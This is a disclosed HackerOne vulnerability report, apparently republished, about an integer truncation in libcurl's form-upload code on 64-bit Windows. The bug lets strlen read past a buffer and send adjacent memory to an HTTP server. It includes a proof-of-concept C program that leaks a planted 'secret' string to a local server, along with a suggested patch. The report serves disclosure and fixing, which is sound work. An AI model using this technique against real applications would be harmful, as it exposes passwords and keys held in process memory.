HexBrain

curl · Report #1444539

Remote memory disclosure vulnerability in libcurl on 64 Bit Windows

Informativestatus
highseverity
5upvotes
21 Feb 2022disclosed

How it was found

Remote memory disclosure vulnerability in libcurl on 64 Bit Windows

Summary:

libcurl (latest) contains a vulnerability that enables attackers to remotely read memory beyond the bounds of a buffer in the style of the infamous "heartbleed" vulnerability. Luckily, however, this is only possible when libcurl runs on 64 bit Windows and it requires an attacker capable of influencing the size of a file upload part.

The core of the problem is the following: while on 64 Linux and BSD systems, sizeof(long) is 8, on 64 bit Windows, it is 4. Consequently, the function AddHttpPost carries out an integer truncation and sign conversion on these systems, as the parameter bufferlength of type size_t (8 byte wide, unsigned) is assigned to the field post->bufferlength of type long (4 byte wide, signed). The following excerpt shows the corresponding code:

static struct curl_httppost *
AddHttpPost(char *name, size_t namelength,
            char *value, curl_off_t contentslength,
            char *buffer, size_t bufferlength,
	        [...]
            struct curl_httppost **last_post)
{
	[...]
    post->buffer = buffer;
    post->bufferlength = (long)bufferlength; /* <=== */ 
	[...]
}

In particular, this function is triggered when constructing an HTTP POST request that specifies custom file upload parts, e.g., with a statement such as the following:

curl_formadd(&formpost,
             &lastptr,
             CURLFORM_COPYNAME, "name",
             CURLFORM_BUFFER, "data",
             CURLFORM_BUFFERPTR, buffer,
             CURLFORM_BUFFERLENGTH, size,
             CURLFORM_END);

An attacker capable of choosing the file to upload may choose for it to be 4294967295 in size, and, indeed, libcurl will transfer this file without trouble on 64 bit Linux. On 64 bit Windows, however, this leads to post->bufferlength being -1 due to the truncation/sign-conversion, which happens to also be the value of the constant CURL_ZERO_TERMINATED. On posting the data, this undesirable interpretation causes the function curl_mime_data to assume that the length of the buffer to upload is not known and should be determined via strlen. Assuming the buffer does not contain zero bytes - and in fact, the documentation states that it MAY NOT contain zero bytes, strlen will read beyond the bounds of the buffer buffer, and subsequently transmit the buffer contents AND memory behind it to the HTTP server.

The following (commented) excerpt of curl_mime_data illustrates this behavior:

CURLcode curl_mime_data(curl_mimepart *part, /* <=== */ 
                        const char *data, size_t datasize)
{
   [...]

  if(data) {
    // This branch is triggered when `datasize` is -1,
	// Note that `datasize` is again `size_t`, so, it will
	// then be > 2**32-1.
    if(datasize == CURL_ZERO_TERMINATED)
      datasize = strlen(data);

	// With a system that has > 4GB RAM, this allocation
	// succeeds.
    part->data = malloc(datasize + 1);
    if(!part->data)
      return CURLE_OUT_OF_MEMORY;

	// The part size is now set to be larger than 2**32-1,
	// although 2**32-1 is the size of the file. 
    part->datasize = datasize;

Steps To Reproduce:

To further illustrate the problem, I have created a sample application for which the string "secret" is located directly after the to-be-transmitted buffer. On 64 bit Linux, the program correctly transmits only the contents of the buffer. On 64 bit Windows, it transmits the buffer contents and the string "secret". Logging network traffic using tcpdump, this has been confirmed as the attached screenshots show.

The following is the sample program (test.c), which compiles both on Linux and Windows (Visual Studio 2022 Community Edition).

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <curl/curl.h>

int main(void)
{
    CURL* curl;
    CURLM* multi_handle;
    int still_running = 0;
    struct curl_httppost* formpost = NULL;
    struct curl_httppost* lastptr = NULL;
    struct curl_slist* headerlist = NULL;
    static const char buf[] = "Expect:";

    // Place 4294967295 'A's on the heap (the buffer to transmit),
    // followed by the string "secret". If we now instruct libcurl
    // to transfer 4294967295, it should only transfer 'A's.
    
    size_t size = (size_t) 0xffffffff;
    char* buffer = (char*)malloc(size + strlen("secret") + 1);    
    memset(buffer, 'A', size);    
    memcpy(buffer + size, "secret", strlen("secret"));
    buffer[size + strlen("secret")] = '\0';

    // Instruct curl to send the buffer, specifying its size
    // to be 4294967295 (size)
    
    int ret = curl_formadd(&formpost,
        &lastptr,
        CURLFORM_COPYNAME, "name",
        CURLFORM_BUFFER, "data",
        CURLFORM_BUFFERPTR, buffer,
        CURLFORM_BUFFERLENGTH, size,
        CURLFORM_END);

    // The return value is 0 (success)
    printf("%d\n", ret);
    
    curl = curl_easy_init();
    multi_handle = curl_multi_init();    
    headerlist = curl_slist_append(headerlist, buf);
    if (curl && multi_handle) {
      // We are uploading to a local webserver, but this can be any webserver.
      // upload.cgi can be an empty file.
      curl_easy_setopt(curl, CURLOPT_URL, "http://192.168.1.216/upload.cgi");
      curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
      curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
      curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);      
      curl_multi_add_handle(multi_handle, curl);      
      do {
            CURLMcode mc = curl_multi_perform(multi_handle, &still_running);	    
            if (still_running)
	      /* wait for activity, timeout or "nothing" */
	      mc = curl_multi_poll(multi_handle, NULL, 0, 1000, NULL);	    
            if (mc)
	      break;	    
      } while (still_running);      
      curl_multi_cleanup(multi_handle);
      curl_easy_cleanup(curl);
      curl_formfree(formpost);
      curl_slist_free_all(headerlist);
    }
    return 0;
}

As suggested patch would be to use the type long long as opposed to long for the buffer length. long long is guaranteed to be 8 byte wide on Linux and Windows 64 bit systems.

Impact

An attacker could read memory from the process remotely, meaning that any information processed by the program using libcurl may be disclosed. Depending on the application, this information may be sensitive, e.g., passwords, keys could be in memory. In addition, reading memory offsets may be useful to identify memory mappings remotely in preparation for a memory corruption exploits that requires bypassing of ASLR.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original